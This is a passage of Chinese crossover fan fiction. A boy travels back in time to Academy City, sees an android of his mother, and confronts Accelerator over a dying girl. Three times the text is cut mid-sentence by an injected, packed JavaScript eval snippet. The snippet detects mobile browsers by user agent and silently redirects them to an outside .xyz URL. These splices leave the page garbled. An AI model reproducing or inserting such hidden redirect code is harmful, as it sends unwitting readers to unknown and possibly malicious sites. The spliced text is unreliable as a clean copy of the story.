紧接着,“咔咔”几十道层次不齐的齿轮摩擦声响起,无数个闪着银光的枪口从黑暗中冒出来,齐刷刷指向走在后面的赤司。 “喂——” 夏上还没来得及喊出赤司的名字,枪林弹雨就已然在封闭的空间内营造出大片呛人的烟雾,尔后在下一个瞬间,烟雾就如同被人掀开的帘子般从中一分为二,与此同时,照明灯接二连三地亮起,舞台中央英雄登场似的现出一道挺拔的身形。 赤司的脚下是大大小小、深深浅浅的弹孔,他的身边堆满了报废的武器。 “哎呀真是失礼,还以为能将你当场轰成渣渣呢~” 面对齐木空助笑眯眯的挑衅,赤司同样笑眯眯地回敬:“一堆破烂而已,能帮博士清理垃圾真的是在下的荣幸。” “感激不尽,如果方便的话还得请你顺便把自己也扫地出门。” “久别重逢就说这些博士不觉得伤感情吗?”Lv5指了指上方道:“不过十年了,这座垃圾建筑还长这样真是不容易啊。” “十年了,你的能力还没什么突破性的变化也挺不容易的。” 齐木空助笑,赤司也在笑。 双方摆出一副你死我活的态势针锋相对,只有夏上像只突然掉进狐狸窝的小白兔子,在恶寒中小心翼翼地打量四周的环境。早就听说他的叔叔醉心于科研建设,有着各色各样的奇怪恶趣味,意料之内的,这块土地和外部大片大片的原始丛林相比,完全是两个截然不同的世界。 他从外界走进来,像是穿越了上万年的时光,还停留在住山洞烤火生存思维里的夏上,面对眼前森然的钢骨丛林,一时间竟是有些无处是从。 眼前迷离的霓虹模糊了现实与虚无的界限,如同落日下飞起的群雁,传达出颓丧破败的梦幻美感。 头顶,一艘战舰横亘天际,千万户窗户,灯火通明,但比起背后猎户座诡谲、绝艳的星光,根本算不上什么。渺小的夏上在这庞然大物面前,生出股忧心忡忡。 走得越近,这个创造于“烧瓶”内的里世界就看得分外清晰。 黑色血管中流淌着沉默血液——城市大街小巷穿梭着冷漠麻木的人类,与其说是人类,不如说是机械。他们身上闪烁着五颜六色的荧光,驻足看着这一行人格格不入的异类,好奇、困惑、茫然……神情各样,但注视着齐木空助的目光一致地敬佩。 夏上突然觉得毛骨悚然,肌肉群都在凄惨地尖叫着。 赤司在他耳边叹息,“人类啊,以自己为模板,力图创造能永恒传承自己意志的仿生人,但却不肯失去自己作为造物者的尊严和权威。” 齐木空助当然讨厌冒牌货随便插嘴,但偏偏这一点他无法反驳。 存在与意识之间的天差地别,轻易地剥夺你对世界的信任。在这里生活的仿生人都像真正的人类一样,与冰冷的数据不同,有着自主思考能力的生命是有温度的。机械们像个人一样费尽心思地去寻找自己存在的价值,而他们一旦发现了这里的秘密,又会像个真正的人一样精神加速衰亡,直到“死去”。 如何延长仿生人们的生命,阻止他们自杀,是齐木空助面临的最大难题。 于是他的反应就像是被踩了痛脚一样的无能狂怒,“嘴这么欠,我明天就用你的身体数据做个仿生人,好好折磨。” 夏上道:“这些都是基于真实人类的数据造出来的?” “傻小子,不然怎么叫仿生人。”齐木空助可谓是一整个大变脸,“我还有你爸的数据呢,虽然他警告我如果我动手脚的话就把我打烂,但只要是你发话的话……库库库~” 别想把锅我头上去满足你的私欲啊你这个奇怪的弟控! 夏上很忧伤,好歹也是初次见面,别想着拿你亲爱的侄子为挡枪去做些不可告人的秘密实验啊! 他们一直在往最深处走,“烧瓶”内的里世界很大,他们走了许久,才堪堪抵达世界的尽头,一扇隐匿在黑幕中的门。这附近并没有仿生人活动,显然,齐木空助为了防止他们发现这个世界的出口,程序上禁止他们往这边探索,所以城市中心的仿生人是最多的,越接近世界真相的地方仿生人越少。 通往烧瓶外部的大门开启,夏上突然停住了脚步,难以置信地瞪大了双眼。 目光所及的尽头,出现了一位温婉的白发少女。 和外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088937|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的仿生人一样,都有相同的标识,可那面貌体征,不论怎么看,都是他妈。 这是他第一次从照片以外的地方看见母亲的容颜,理智告诉他这不是真人,但感情总是无法轻易控制的。手里攥着的衣角被汗水打湿,夏上一动不动地盯着那道普通的、现下却像是一张血盆大口的门洞,心脏膨胀到几乎要撑裂胸腔。 “叔。”夏上的牙齿哆嗦地嘎吱嘎吱响,“我妈,是个怎样的人?” 他在问齐木空助,眼睛却一眨不眨地盯着白发少女。 齐木空助没有直接回答他,而是反问:“你想听什么?” 夏上像是一下子被扼住了咽喉,捡不出话说。他以前就做过激烈的思想斗争:如果他和母亲见面了,他该和母亲说什么样的话,这个生下他就毅然离开,从未参与过他成长的“母亲”,他又到底是认还是不认? 是的,他有万般思绪,太多的疑惑和太多的不解。 他想问问她从前是个怎样的人,想问问她为什么与父亲离婚,想问问她现下在何处,想问问她过得好不好。 从小,他就努力照顾着父亲的情绪,一直在努力扮演一个乖小孩,耐住气不提不问,因为他不想让父亲愧疚、操心,毕竟比起他这个与母亲从未谋面的小毛孩,与母亲相濡以沫相互扶持着最终却走散的父亲内心更为煎熬,所以他对母亲的存在永远表现出一副可有可无的态度。没有母亲会怎样呢?他不也和父亲一起相互扶持着走过了十四年吗?有母亲又怎样呢?他会比现在更幸福一点吗? 那为什么要知道母亲是个怎样的人呢? 夏上茫然地想,千言万语如梗在喉间。 他正欲摇头,却被赤司拍了拍肩膀,同龄少年决绝而恳切,真挚地予以他不容置疑的坚定。夏上顺着赤司的目光抬头看过去,正对着齐木空助的笑颜。 “算了,还是让你亲眼看看吧。”他叔的脸上,第一次露出了长辈该有的疼爱小辈的慈祥。 - 白发少女的身影在他们前面飘呀飘呀,像一团朦胧的云,载着一个悠久的梦。夏上在赤司的牵引下僵硬而又麻木地走出了“烧瓶”,他内心澎湃着难以言说的不安,紧张,乃至后悔。 他该如何面对母亲?妈妈见到他会不会很困扰? “如果我是即将见到儿子的母亲,”赤司温和的声音从斜后方不远处传来,“大概会欣慰于儿子的成长吧。从那小小一团的胚胎,长成了这样一个挺拔、坚韧的少年。” 夏上问:“你为什么那么肯定?她、她如果……讨厌我怎么办?” “为什么会这么想?你诞生于父母纯粹的爱意,她又怎么会讨厌你?”赤司的声音不大,却像一首高昂地奏进了夏上的心底,不自觉的,他将驼着的背部拔直了一些。 空助那个老顽童出乎意料地没有因为仅仅是赤司在他的地盘说话,就不分青红皂白地大吵大闹地找茬,他站在走廊的尽头耐心地等待颇为磨蹭的夏上,“虽然冒牌货说的是很感人,但我恐怕无法让你见到这个时空的铃科百合子。” “你们接下来要去的,是一个没有你的时空。” “一个你出生前的,学园都市。” 17. 第十六章 按照齐木空助的意思,门后似乎正藏着一个时空穿梭仪器。但让人大跌眼镜的是,新世界的大门敞开,里面的世界却是夏上始料未及的普通。 这里铺着传统的榻榻米,房间中央摆着一个相对协调的圆形木质舞台。 “是我设计的!可以360度无死角地观看舞台演出哦。有兴趣帮我把把关吗?我最近在排演节目,一个人实在是太无聊了。哈哈,开玩笑的,当然不可能太麻烦夏夏你啦~随便坐。” 黄毛终于舍得卸掉那个张牙舞爪的飞行器,然而一边温柔地解说的同时,一边缺刚拆掉恢复自由的喷气管砸向这个房间里的第三个人的脚趾,顺便咬牙切齿地打断赤司的动作,“我让你坐了吗?” ——当然被阻止了。 赤司不动声色地把手上的破烂随意丢开,于是那个可怜的命途多舛的小东西不仅惨遭蹂躏,还当场倒飞出去狠狠地嵌入墙体,受了一遭二次伤害。 整个房间撼三撼,然而给夏上端茶送水的机械臂却稳稳当当。 等小朋友应付完一堆机械臂过分殷勤的服务,房间内的灯陡然熄灭,应当是舞台位置的正上方开出一盏聚光灯,舞台上突然出现了两位少女——夏上差点被吓了个趔趄,倘若他不是刚刚坐下的话。 泰坦尼克号的BGM响起。 然后那个怎么看都像是他亲妈的白发女仆,对着另一个怎么看像是女体他爸的jk少女“扑通”一声跪下。 夏上:? 屏幕外的齐木楠雄(来不及emo版):? 夏上:“我懂了。” 齐木楠雄:? 赤司:? 你懂什么了? 夏上:“是爱情。” 赤司:“可是编剧是个变态。” 夏上:“我看了三十部变态写的八十集以上的都市言情剧。如果是恩爱开局,两人一定历经波折,相看两厌,步入坟墓,但如果是天崩开局,男女……女女主就会有一整部剧的时间破镜重圆,缔造美好的超生家庭。” 赤司:“可是编剧是个变态中的变态。” 夏上:“你听着,我给你分析分析……” 百合子含情脉脉道:“哦,我的上帝啊,亲爱的齐木楠子小姐,瞧瞧呢,我敢打赌,世界上没有你这么美丽的姑娘!哦我亲爱的女孩,姑娘,你简直是造物主的奇迹,大自然的馈赠~我该怎么去爱你?” 夏上:? 赤司:^^ 屏幕外的齐木楠雄:…… 合着人物性格是投骰子摇出来的啊。还有这尴尬至极的翻译腔是怎么回事? 然而被称为楠子的粉发少女却冷静回答:“你谁?” 那不加矫饰的明显属于齐木空助的声音响起,“啊咧~好不容易再次见面,楠子小姐居然失忆了!好可惜,是什么使得相爱的两人无法相认,是什么使得这对情侣长久分离呢?这还得从很久很久以前开始讲起,有个叫百合子的姑娘遇到了楠子小姐……” 这失忆梗为何如此狗血俗套!还有别把父母爱情改编成奇怪浮夸的性转舞台剧,强行灌输给别人的儿子啊! “啪——”齐木楠雄眼镜又双叒裂开了。 - 小闹剧很快就降下帷幕。 齐木空助笑嘻嘻地退出房间,头顶环绕360的播报明明还在进入倒数,房间就猝不及防地陷入一片漆黑,灯甫一熄灭,榻榻米地板仿佛变成了一块绝大的地面屏幕。 以夏上坐着的地方为中心,向外发散起点点微光。 那微光很快放大,闪烁成一道道缀满星辰的夜之倩影,随着呼吸的轻微起伏,缓慢流淌。 就像是摁住了时间的脉搏,它躬身喘气求饶,气息奄奄着迎来死亡…… 先是细微的风轻飘飘搔过脸庞,没过多久,风声越来越大,争先恐后地往他裤腿里钻,把他身上的布料甩得猎猎作响,又扯着耳朵呼呼吹过去。 夏上被空投到万米高空,低头看,暮色正笼着一座大都市的荣光—— 高耸碧霄的摩天建筑仿佛要扎破他的脚趾,灯光稠密得如中宵繁星,千万只雪白透亮的窗洞像千万只雪白透亮的眼睛,数不尽的点点火光编织成橙光熠熠的大网,隔着云幕,反晕出一片朦胧的烟霭。 头顶,圆月分辉,映照下来,明河共影。 他第一次从这么高的地方鸟瞰整个学园都市,像是看见一只能吞吐万物的蛰伏着的巨兽。 失重感降临得很突然,一瞬间就睁不开眼睛了,夏上快速地降落,像是失去了羽翼的鸟儿,一头扎向广袤的大地。有什么东西在撕咬着他,尖锐的牙齿将他磨得粉身碎骨,浑身的血管紧绷到疼痛。心团吧团吧被搅弄成一腔烂泥,喊也喊不出,四肢僵硬地仿佛都飞了出去,动也动弹不得。 夏上的脑门子冰凉,脑海中荒诞地跑过自己化为浆糊的惨状。 与地面越来越近,汽车惨白的筒子光快要打到他脸上的时候,夏上终于得以发动能力。 一屁股砸上垃圾桶,把螺丝弹得满地蹦跶。 夏上瘫坐着,眼前呼啸而过的光影照到两栋楼宇之间狭窄黑暗的过道里来,追得杂物的影子满小巷乱跳,直飞到两三层的高处。不知名处吠声似沸。 缓了好一会儿,直到心脏落回肚膛,知道自己算是降临了人间,夏上才“哇”一声叫出来,回了魂。 - 这个学园都市相较夏上从小熟知的那个,不减繁华。 而学园都市的变化也并不能称之为翻天覆地,某一根血管,某一块肌肉,还保留了十几年他原本的样子。远处,巨大的风力发动装置的螺旋叶片慢悠悠地转着,夏上数着发电机沿沿着那栋像蟑螂一样的大厦所在的街道行走,做着孩童时期才乐此不疲的举动——齐木楠雄工作忙,夏上一个人在家做完了作业就会很无聊,没人陪他玩,他就搭个电车,随机去往城市的每一个角落,像只幽灵,游荡在学区的大街小巷。 年轻人火气旺,从万米高空掉下来的冷汗把他的衣裳打了个透湿是不错,夜风也是彻骨的寒,可夏上一点儿都不觉得冷。 他在陌生却又熟悉的学园都市放肆奔跑、跳跃,伸长了脖子张望,尔后向每一个被他吓到的路人诚恳道歉。 这里的一切对他而言都是万分新奇有趣的。 锈迹斑斑的老式饮料自动贩售机刚出厂的崭新面貌,八号电车售票员和蔼阿姨年轻十几岁的漂亮容颜,计划拆迁但资金迟迟不到位只能继续荒废的游乐园…… 他也在目不转睛地打量那些多年后已经销声匿迹的大小餐饮店,无一例外地紧闭着大门。 夏上实在是太饿了,他在学园都市走了大半宿后,开始后悔自己为什么没有把赤司带回来的水果罐头先吃了,他还是比较喜欢吃黄桃的,但可惜,他肚子里现在就只有半杯茶水,剩下半杯洒在了万米高空,估计有几滴落在了自己的后脖颈吧。 也不知道赤司掉到哪儿去了,在孤岛上大半天探险所建立起的良好友谊,有点让他放心不下这位临时战友。 不过再怎么样也不会像他这样狼狈吧。 “咕——” 好饿,想死。 面对这生存危机,但夏上也不是全然束手无策,他要赶路,去到十七区的某个小巷。那里住着他爷爷齐木国春一家。 如果天亮之前他能到那儿,善良的老好人齐木久留美会留他吃个早饭。 头顶的大屏轮流播放着六神通的新剧预告,不得不说,那个护妹自恋狂确实挺帅的。夜巡的飞艇路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088938|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为飞太高而略显稀薄的光幕下浮起震动的尘埃。 如果在此之前遇到了赤司的话,夏上想,他可以让对方跟着自己共蹭一顿热饭。 - “不用担心啦。” 空助伸手拍了拍镜头,一种很闷的声音被制造了灌进齐木楠雄的耳朵,“他已经是大孩子了,可以照顾好自己的。投放时空是十四年前八月十日的学园都市,等到半年后那个时空的他诞生,他就可以回到现在的时空了。这回保管是个漂亮的落地姿势~” 齐木歪着头像是在思考,玫红色的眼睛空洞无物地看着空助,“他的茶杯被绞碎了。” 学园都市的科技在近年来飞速发展,但时空穿越一直都是禁忌。 每年都有偷偷实验引发的人为惨案曝光,捣成尸泥的也有。 他的声音极其冷,是这个情绪常年稳定的超能力者罕见的暴怒的征兆,换作往常,热爱装疯卖傻的金发的哥哥一定会哼哼唧唧地糊弄过去,或者飞快认怂,咕哝着“我的科技可是领先世界一百年的”“计算这么精准分明是最安全了”…… 不过这回不一样。 很多亲戚总是会感叹他们兄弟完全是两种性格的极端,一个是高傲的天才,一个是随和的普通人,一个文雅淡漠,远离人群,一个大条悦色,和任何人都能相处很好。但他们骨子里其实一模一样,一个赛一个的拥有着有别于同龄人的忍耐孤寂的能力,和认定某件事就必行的倔强到倨傲的坚决。 “因为有必要。孩子是为父母指明未来的人,不能对父母的过去一知半解。” 「他要冒着生命危险为一段与他无关的过去负责。」 “有必要。” 别人都说夏上完全是一方通行的翻版。 齐木空助看着夏上从只刚破壳而出,羽翼方干,浑身都是灰色绒毛的幼崽,慢慢长成羽毛光鲜靓丽,跃跃欲试着从窠臼边缘跃下展翅的成年白鸦,就像是从前看着弟弟慢慢长大。夏上像他的父亲一样,是这个世界上最可爱的小孩子,捧在手里,软乎乎一团,胖歪歪一滩,贴在他的怀里,就算是不高兴的放声大哭或者是不耐烦的鄙夷注视,也珍贵美丽得堪比上百盎司的黄金。 做哥哥的向来成熟地将自己放在一个更为年长的位置上,齐木空助放轻了声音,满心满眼的都是柔软,“他要亲眼去看,他要亲自去判断,他不能从别人的话中知道父母是个怎样的人。未来就是这么走出来的。” 这和齐木空助一直以来所展现的那面不一样。 像是勃郁的意气发了酵,尖锐的山峰收住了劲,刺耳的音响化为了圆润,湍急的河流汇成了江湖。 齐木楠雄有自己的看法。孩子应该是简单的,高兴就笑,不高兴就哭。孩子是自由的,父母不应该那么自私,「他不该为了我们而活,他有自己的人生。」 “对,所以你也不该为他做出选择,他有选择的权利。在他看清楚一切过后,会有自己的判断的。” 世界上最聪明的哥哥如是说。 - 夏上看见了一道熟悉的身影。 “accelerator!” 虽然没有拐杖,但对方这些年的变化实在是微乎其微。只匆匆一瞥,夏上就认出来了。 他满怀希冀地跑向那张面露骄矜的瘦削少年。一方通行未曾施舍给他一丝反应,对方无动于衷地定定地低着头颅注视自己脚下踩着的某物。 跑得近了,夏上才看清一方踩的是什么。 那是一个人,裙摆破烂,四肢扭曲,七窍流血,亚麻色的头发胡乱地铺在井盖上。 后知后觉地,一方通行转移过来的目光里带着漠然的审视,隔着杂碎的发帘,瞳孔里是死一样的寂静,好像觉得无趣到了极点。 18. 第十七章 “嗤啦”—— 易拉罐的开拉环声以及汽泡的沸腾声宣告着盛夏的来临。 灰吕杵志手忙脚乱地帮夏上清理被苹果味汽水浸湿了个彻底的运动护腕,日光很强烈,冰凉的汽水很快被灼烧成温热,黏腻的感觉却经久不息地映衬在皮肤上。扛不住暴晒的幼崽松已经迫不及待地往嘴里大口灌着橘子水,三三两两散学回家的同学由各自父母牵引着离开,会挥手同他们打招呼。 喝完半瓶汽水后,他的父亲姗姗来迟。 明明是同事,他的父亲永远比灰吕叔忙一些,永远都是分身乏术。春日或是秋时,父亲总是伴随着什么回到家中,或是雾气凝结在衣服上的白露,或是夜市开场路过就会熏烤上的烟火气。在他记忆力,再忙,父亲也会在他入睡前无声归巢,父子俩约好的事情,迟到的次数尚且十分稀缺,更不必说食言——那是从未有过的事。 据灰吕叔说,父亲上学时期虽然不善言辞,但性子却没现在这么寡淡。那时候的他和很多人都处的不错,成绩中规中矩,偶尔也会有女孩子热情追求。高中毕业后,就觉得有些孤僻了,为数不多的几个深交的朋友,还是高中时期的那批。 “嘛,不过别看齐木平时总是冷着脸不搭理人,但当我们有什么麻烦的时候,他还是很乐于助人的。” 作为在父亲这个特殊的转变点时期加入进他人生的夏上深有感触。年幼时的他也曾埋怨父亲的不关心和漠然——齐木几乎不会说什么温柔的哄人软话,在小夏上哭生哭死的时候也只会干巴着张扑克脸生硬地守在他旁边,“无动于衷”地任由他用眼泪发泄委屈与愤怒,等他略微大点,才在久留美的点拨下摸索出了那份独属于齐木楠雄的父爱表现形式。 “小楠从前就是个内敛到极端的小孩,他表达爱意的方式总是晦涩难懂。” “明明很关心别人,却总是抹不开面子地表现出一副不关他事的样子,但不管是家人的异样情绪,还是人类的苦难,他是最做不到置身事外的那个人,于是常常显得口是心非。” 夏上知道,他的父亲冷淡温柔,强大坚定。 不论是永远热情洋溢的国春夫妇,还是倍加关怀他的叔叔阿姨,亦或是沉默却永远在注视着他的父亲,他成长在所有长辈或是直接又热切或是隐晦但深厚的关怀中。天然地被大人们的爱包围的他,对只有一面之缘的一方通行也天然地怀抱着最美好的期待。 那双瑰丽的红色眼睛里自打初见就未曾流露出一分嫌恶与凶意。 这个强大的男人毅然地保护了他,即使是他莫名其妙喊人家“妈”,又办砸了事,违背了自己的诺言,对方也并没有生气或是不耐烦。只是无奈地叹着气,无声地包容了他。一方通行像天上劈开的一道惊雷,光芒万丈却又叫人敬而远之。其生人勿近的气场叫人望而生畏,但他实际上和自己的父亲一样不坦率。 自然而然地把照顾小孩纳入到自己应负的责任行列中,生硬地关照他人过度使用超能力后的虚弱身体,礼貌地向提供住宿和早饭的善良夫妇道谢…… 夏上其实并不了解一方通行。但他们从咖啡厅里的初见乌龙事件,到小巷当中见义勇为意外地变成被见义勇为,再到明明想要照顾身体柔弱的残疾人却反被残疾人照顾,屈指可数的见面次数,感情的交流却并不能称之为稀薄,虽然未来他们可能不会再见第三次,但对方柔软温暖的臂弯,和气包容的语气确实真真正正留存在他心中的。 一方通行绝对不会…… 被夏上注视着的少年活像一把锋利的太刀,从余光里传递出逼仄的苦寒,那种不带任何恶意的杀气骇得在和平年代安详自由成长了十几年,对潜在的黑暗全然不知的小朋友毛骨悚然,那视线具象化成一只手,狠狠地掐住了他的咽喉,让他不可避免地摔进窒息感中。 ——绝对不会想杀他的。 他们再会的场景简直就是雨夜小巷的复刻。 但夏上不完全是个不谙世事的小孩,他分得清楚以牙还牙的清除暴安良和带着憎恨和蔑视的虐杀。 那女孩会死! 这个念头冒出的第一瞬间,也就是两秒钟之前,他暴起发动了能力,「坐标移动」。 奄奄一息的少女还未能转移到他怀里,来自一方通行的黏稠的杀意就铺天打来。 太快了。 从无视他,把他当作一副无关的骷髅架子,到把他当作必须杀死的敌人,也不过是一念的转变,没有任何征兆。夏上理智被血腥的冲击所引发的焦躁和愤怒占据,即使被生理的恐惧压制得动弹不得,肌肉痉挛着发出不堪重负的哀嚎,他还是稳稳地接住了少女。 少女伤得很重,全身的骨头几乎都断了,摊在夏上的臂弯里像一长条的烂肉。 人早已失去了意识,呼吸沉重,只有出的气,没有进的气。 失望和伤心在他心中郁结成团。但眼下并不是停滞不前或者原地愣神的时候,来不及进行理性判断,夏上的本能驱使着他快跑,跑得越远越好。得赶紧救人才行,不然她会死的,她真的会死的!搂紧少女,他即刻动了身,像只磨尖了利爪,爆发力极强的豹子。 可是孱弱的幼崽怎会敌过成熟凶狠的野兽? 夏上的力量在一方通行面前太过渺小。不管他逃到哪里,对方都如影随形。猎人捕猎的意趣高涨,冰冷的杀意拉扯着夏上的每一根神经,满肚膛的肺腑仿佛都要被冻伤。他太弱小了,所谓的大能力者在一方通行面前根本不堪一击。 就算有「坐标移动」,他的逃跑计划也在堪堪离开一公里的时候宣告破产。 街道上整座大楼的窗玻璃尽数炸裂,强大的气浪将他从半空中拍回龟裂的地面。 夏上轻易地被白发少年踩住了命门,布满花纹的鞋底挤压着他的喉结,脖颈上的大动脉惶恐地弹跳着,抽得他脑神经也一块儿疼起来。他拼了命地再次发动能力,将怀中的女孩尽可能地移动到相对安全的地方——某家深夜小吃店,店主夫妇看上去十分和蔼,想必会全力相助。 “我可没听说今天要上映这样一出英雄救美的戏码啊。” “你是谁?” 不断加强的力道使夏上的脖子浮现出血色。 缺氧让夏上一个劲儿地眩晕,像是蝮蛇“嘶嘶”作响的低语在他耳边倏然响起,他的头皮登时炸裂开,尖啸的幻听蹂躏着他此刻脆弱的神经。夏上眼前发黑,但他坚定地不愿意低头,就算是名字,他也不想告知对方——他不愿向企图杀害别人的人妥协半分。 夏上沉默对峙的态度让空气都僵持住。 一方通行趁这个时候,看清了夏上的脸。 人对于那些只属于自己的故事,往往会记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088939|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆淡薄。从小待在只有一个人的特设班级,长时间的与世隔离,千篇一律的生活轨迹,让他对镜子里属于自己的那张脸的变化浑然不觉,因此一方通行其实不太记得住自己到底长什么样——白发红眼是标志,无所谓他具体长成什么样,反正对他大名有所耳闻的人见到这样的搭配必然会落荒而逃。 记忆复苏的时机想来发生在他参加一些超能力开发活动的时候。 这时候他从小到大的照片就会一一排列在他面前,而与所有同龄人不同的是,拿出照片的不是父母,而是清一色的白大褂研究院。 拿出照片的目的自然也不是来个“今昔对比”,炫耀性地讲述童年往事,而是比对他能力的开发和成长,用冷冰冰的数据证明他实实在在活了十五年,没有哪一年是被打晕了,在人体研究中度过的。 眼前的小孩儿脸上还有着不合年纪的婴儿肥,五官轮廓尚未长开,但—— 大楼碎了一地的单面玻璃眼下竟然发挥了镜子的效用,一方通行脑袋里萌生出一种古怪的念头,他居然想仔细确认一下,面前的小孩儿和他究竟有多像。到这个时候,简单的礼貌性提问“你是谁”似乎已经没有任何意义了,特殊的面孔在特殊的时间点与他相遇,见识过学园都市黑暗一面的第一位当然不相信巧合。 但他也实在没有兴趣追根究底,眼下最重要的是完成实验。 然而预备抓住「妹妹」而行动的脚腕却陡然被人攥住,小孩儿受制于人却依旧爆发出巨大的力量,死死地钳着他,一时间,一方通行竟不能动分毫。 夏上浑身的经络和肌肤都像是被一根线牵扯着,有人在拨动它,于是连带着他所有的肌肉也好,血管也好,都在疯狂地痉挛,视网膜不堪重负,眼前一片模糊,痛楚排山倒海般灌入他的四肢百骸,撕扯着几乎要将他肢解,自我的保护机制使他大脑宕机,脱力地瘫倒在地上,但他还是奋力撬开齿关,咬牙挤出几个字,“不、不准你杀、杀人!” 高高在上的胜利者一愣,瞳孔紧缩成针眼大小,似乎暗自嘀咕了些什么。 但很快,一方通行的大笑着俯下身,“她们哪里是人?疼也不会哭喊,濒死也感觉不到恐惧,白白送掉那微不足道的性命后也不会有人真情实意地为她们流泪,悼念她们……你告诉我,她们哪里像是人了?” 他居高临下地望着夏上,一字一句地向他发问:“说她们是人,你证明给我看啊。” 是人啊。怎么不是人! 这具变冷但尚有余温的身体分明属于一个年轻的女孩子。她穿着校服,在今晚之前,都作为一个学生在认真地生活着。她有很多朋友,平常会用护肤品,说不定爱好某种乐器,可能吉他弹得不错。家里养着一只黑猫,她的手机里存满了它的生活照。遭受袭击后,她则现在流了好多血,现场到处都是拖行的血迹,在被你捕获之前,她挣扎了好久…… 她那么鲜活地活着,用力地活着,你要我拿出怎样的证明! 夏上想要呐喊,但他“嗬嗬”了几声,却连一个完整的音节都再发不出。 “学园都市的第一位先生没必要把需要自己解决的问题,推卸给别人吧。” 从遥远之地传来熟悉的声音。 意识崩塌,明明能够听见,但却完全无法理解此话的含义。是赤司吗?夏上浑浑噩噩地想。 19. 第十八章 夏上此生以来头一回做了一个黑白构筑的梦。 梦里一端是爱护他疼惜他的父亲,一端是他放不下思念和牵挂的母亲,两人皆背对着他。 耳边是呼啸的风声,夹杂着绝望的尖叫声和撕心裂肺的哭泣声,他连忙左右环顾,却什么也看不见,脚下一个趔趄,他慌张地要去拉父母的手,可谁都无动于衷。 夏上栽进海里。 海水很凉,寒彻骨髓。大海很深,坠落不止。 四肢僵硬,动弹不得。夏上放任自己的浸没,光源越来越远,黑色将他肢解。 他的意识沉潜得很深,好像再多的欢愉也驼不起,他的灵魂疲惫得很,好像再大的波浪也掀不动。 冲决网罗,破坏囹圄? 他从未如此落寞过,哪怕这无垠的大海要将他绞杀。 震撼、愤怒、伤痛…… 他对自己肺腑生出的不解毫不过问,潦草塞责直到一切激烈的情绪归于平静。 他在海底泡着,慢慢地,遮挡在他眼前的东西浮起来,一层黑纱越飘越远——眼前的世界重新染上了色彩。 那双阴鸷的猩红瞳眸红兀然睁开,带着震慑生命的力量悬挂在天边,整个天空都是红的。 红,红,入眼是触目惊心的红,闻到的都是刺鼻的血腥味。 天上掉下无数的碎片,像镜子一样映衬出无数个熟悉的场景的碎片,飞快地倒栽进水里,世间像下了一场刀子雨。 时空开始分崩离析,过往开始枯萎凋零,水面上的两团模糊的身影融化成面目全非的黑色液体。 黏稠,黏稠…… 世界暴露出它阿谀、夸张、虚伪、迂阔的本质。 束缚的、阶级的、因袭的、丑的、恶的、战争的、轧轹不安的、懒惰而烦闷的东西正在现出它们的原型。 那双眼睛是属于一方通行的,杀人凶手是黑恶的象征,但夏上却提不起惧意。 好像它的出现有点让他看得清了,这个歌舞升平的繁华城市背后,所隐藏着的不为人知的秘密——这个年纪的小孩都是很敏感的,直觉似乎是他们对抗大人和这个未知世界的唯一称手武器。 夏上开始向上游,想要触碰那段不属于他的记忆。 浮出水面的一刹那,他一个大喘息,挣扎着睁开了眼睛。 - “……赤司?” 视线聚焦,夏上终于看清了面前的人,他的身体还处在麻痹中,艰难地支撑起自己的身体。 红发的少年头发是整齐的,衣衫也不凌乱,唯有脸上贴着块白色胶布。 赤司看上去似乎刚跟某人打了一架,光荣挂彩,那张迷倒万千少女的蛊惑面容就这么破了相——当然,这个某人,联想一下自己昏迷之前的所闻,不难推测出具体是何人。 夏上把自己浅代入女性们的视觉,很不争气地用着女孩子们的思维惋惜起来。 当然,意识回笼后,更多的是懊恼和自责。 不管怎么看,都是他将赤司卷入了莫名的争端中,使得这位名流贵公子遭受了无妄之灾,两次:) 愧疚油然而生。 夏上正揣度着如何开口道歉,清了几回嗓子,跑出来的也尽是些不成器的破碎音节,“对,对……” “……” 他大受打击地乖乖闭上了嘴,默默躺回了“棺材”。 赤司很善解人意,注意到他的虚弱,甚至体贴地替他送上了一杯水。 红色的瞳眸深处噙着一丝温和的笑意,俯视着的帝王身上散发着诡异的神性,“感觉怎么样?大英雄。” 夏上:“……” 虽然他们一起经历了几场人生少有的大场面大变动,但夏上从来没做好和赤司征十郎平易相处的准备。倒也不是说财阀大少爷和工薪阶层的普通人没法平等对话,比起身份上的差别,夏上从来在意的都是…… 能力,影响力,瞩目程度。 他不得不考虑现在没皮没脸,乃至全身心的依靠托付(虽然对方救了自己一命是确有其事,他会把对方当作偶像来好好尊敬和爱戴的),会不会影响到他的未来美好蓝图。 拜托欸,那可是Lv5,高中生涯规划中需要避之又避的“雷区人物”啊! 这种心理负担完全来自于未来校园里的抬头不见低头见,就算是化身lv5的跟班,也根本不普通啊喂! 